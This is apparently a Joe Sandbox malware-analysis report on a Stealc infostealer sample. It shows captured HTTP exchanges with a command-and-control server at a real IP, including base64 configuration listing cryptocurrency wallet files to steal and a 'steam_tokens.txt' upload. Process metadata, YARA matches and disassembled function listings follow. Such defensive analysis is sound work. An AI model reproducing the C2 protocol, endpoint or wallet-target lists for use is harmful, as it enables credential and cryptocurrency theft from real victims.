Aug 30, 2024 18:18:12.462038040 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:12 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Aug 30, 2024 18:18:12.550554037 CEST	467	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAKFCGCGIEGDGCAAKKJ Host: 185.215.113.100 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 4b 46 43 47 43 47 49 45 47 44 47 43 41 41 4b 4b 4a 2d 2d 0d 0a Data Ascii: ------FCAKFCGCGIEGDGCAAKKJContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------FCAKFCGCGIEGDGCAAKKJContent-Disposition: form-data; name="message"files------FCAKFCGCGIEGDGCAAKKJ--
Aug 30, 2024 18:18:12.798290968 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:18:12.808844090 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGDBFIJKEBGIDGDHCGC Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="file"------KEGDBFIJKEBGIDGDHCGC--
Aug 30, 2024 18:18:13.699594975 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:18:13.702753067 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFBAECBAEGDGDHIEHI Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 2d 2d 0d 0a Data Ascii: ------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="message"ybncbhylepme------CBKFBAECBAEGDGDHIEHI--
Aug 30, 2024 18:18:13.950515032 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:13 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5458 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 31 3c 62 72 3e 3c 62 72 3e 2a 2e 30 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6c 3c 62 72 3e 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 3c 62 72 3e 2a 2e 7a 6d 3c 62 72 3e 3c 62 72 3e 2a 2e 76 65 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6b 3c 62 72 3e 3c 62 72 3e 2a 2e 72 73 3c 62 72 3e 3c 62 72 3e 2a 2e 70 68 3c 62 72 3e 3c 62 72 3e 2a 2e 6d 78 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 74 68 3c 62 72 3e 3c 62 72 3e 2a 2e 63 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 7a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 2e 74 72 3c 62 72 3e 3c 62 72 3e 2a 2e 63 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 64 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 64 65 3c 62 72 3e 3c 62 72 3e 2a 2e 6b 72 3c 62 72 3e 3c 62 72 3e 2a 2e 6d [TRUNCATED] Data Ascii: .1<br><br>.0<br><br>.pl<br><br>.ar<br><br>.br<br><br>.ec<br><br>.eg<br><br>.in<br><br>.pt<br><br>.ac<br><br>.bd<br><br>.zm<br><br>.ve<br><br>.pk<br><br>.rs<br><br>.ph<br><br>.mx<br><br>.in<br><br>.th<br><br>.co<br><br>.id<br><br>z.id<br><br>.tr<br><br>.cz<br><br>.io<br><br>.dz<br><br>.de<br><br>.kr<br><br>.ma<br><br>.jp<br><br>.za<br><br>.sa<br><br>.vn<br><br>.cl<br><br>.pe<br><br>.ke<br><br>.tw<br><br>.cn<br><br>.my<br><br>.mz<br><br>.sv<br><br>.au<br><br>.bo<br><br>.mn<br><br>.lb<br><br>.es<br><br>.org<br><br>.uk<br><br>.ug<br><br>.sy<br><br>.gh<br><br>.bc<br><br>.ao<br><br>.ni<br><br>.ng<br><br>.to<br><br>.edu<br><br>.it<br><br>.tn<br><br>.net<br><br>.gn<br><br>.hk<br><br>.uy<br><br>.ae<br><br>.np<br><br>.mm<br><br>.do<br><br>.ir<br><br>.biz<br><br>.tv<br><br>.gt<br><br>.ps<br><br>.dk<br><br>.gp<br><br>.hu<br><br>.ge<br><br>.ci<br><br>.ca<br><br>.al<br><br>.jo<br><br>.sn<br><br>.is<br><br>.ro<br><br>.cr<br><
Aug 30, 2024 18:18:13.952459097 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHI Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJECFHCBKKEBAKFIJDHI--
Aug 30, 2024 18:18:14.783991098 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	12:17:54
Start date:	30/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7c0000
File size:	1'790'464 bytes
MD5 hash:	5CDDB9535136733F8FF766A5DB8F1D30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1884629428.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 007D9270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,012D2368), ref: 007D92B1
GetProcAddress.KERNEL32(74DD0000,012D2320), ref: 007D92CA
GetProcAddress.KERNEL32(74DD0000,012D2488), ref: 007D92E2
GetProcAddress.KERNEL32(74DD0000,012D24A0), ref: 007D92FA
GetProcAddress.KERNEL32(74DD0000,012D24B8), ref: 007D9313
GetProcAddress.KERNEL32(74DD0000,012D92B8), ref: 007D932B
GetProcAddress.KERNEL32(74DD0000,012C5DB0), ref: 007D9343
GetProcAddress.KERNEL32(74DD0000,012C5DD0), ref: 007D935C
GetProcAddress.KERNEL32(74DD0000,012D24E8), ref: 007D9374
GetProcAddress.KERNEL32(74DD0000,012D2218), ref: 007D938C
GetProcAddress.KERNEL32(74DD0000,012D2248), ref: 007D93A5
GetProcAddress.KERNEL32(74DD0000,012D2278), ref: 007D93BD
GetProcAddress.KERNEL32(74DD0000,012C5D90), ref: 007D93D5
GetProcAddress.KERNEL32(74DD0000,012D2290), ref: 007D93EE
GetProcAddress.KERNEL32(74DD0000,012D22A8), ref: 007D9406
GetProcAddress.KERNEL32(74DD0000,012C5B30), ref: 007D941E
GetProcAddress.KERNEL32(74DD0000,012D22C0), ref: 007D9437
GetProcAddress.KERNEL32(74DD0000,012D22D8), ref: 007D944F
GetProcAddress.KERNEL32(74DD0000,012C5BD0), ref: 007D9467
GetProcAddress.KERNEL32(74DD0000,012D22F0), ref: 007D9480
GetProcAddress.KERNEL32(74DD0000,012C5AB0), ref: 007D9498
LoadLibraryA.KERNEL32(012D2590,?,007D64A0), ref: 007D94AA
LoadLibraryA.KERNEL32(012D25A8,?,007D64A0), ref: 007D94BB
LoadLibraryA.KERNEL32(012D2560,?,007D64A0), ref: 007D94CD
LoadLibraryA.KERNEL32(012D25C0,?,007D64A0), ref: 007D94DF
LoadLibraryA.KERNEL32(012D25D8,?,007D64A0), ref: 007D94F0
GetProcAddress.KERNEL32(75A70000,012D2548), ref: 007D9512
GetProcAddress.KERNEL32(75290000,012D2518), ref: 007D9533
GetProcAddress.KERNEL32(75290000,012D2578), ref: 007D954B
GetProcAddress.KERNEL32(75BD0000,012D2530), ref: 007D956D
GetProcAddress.KERNEL32(75450000,012C5C70), ref: 007D958E
GetProcAddress.KERNEL32(76E90000,012D9138), ref: 007D95AF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 007D95C6

Strings

NtQueryInformationProcess, xrefs: 007D95BA

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 8f7aeb3c512031a92c0eae44c9e8f503a7e2d4a06a9f2344b15a56ea58b9232b
Instruction ID: 760ca5d96931b4b55e86fa1c7631369b49d226c18e6a5c3edf6d96210e191f5d
Opcode Fuzzy Hash: 8f7aeb3c512031a92c0eae44c9e8f503a7e2d4a06a9f2344b15a56ea58b9232b
Instruction Fuzzy Hash: F8A18FF5539280EFC744DFA8ECC8A163BBAB74C312B04891AE595CB264D7359C42FB64

Function 007C4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 007C465F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 007C47EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C47CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C46C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C46B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C46D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C46BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C47AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C46FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C47B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C47C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C4763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007C46A7

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: AllocateHeapProtectVirtual
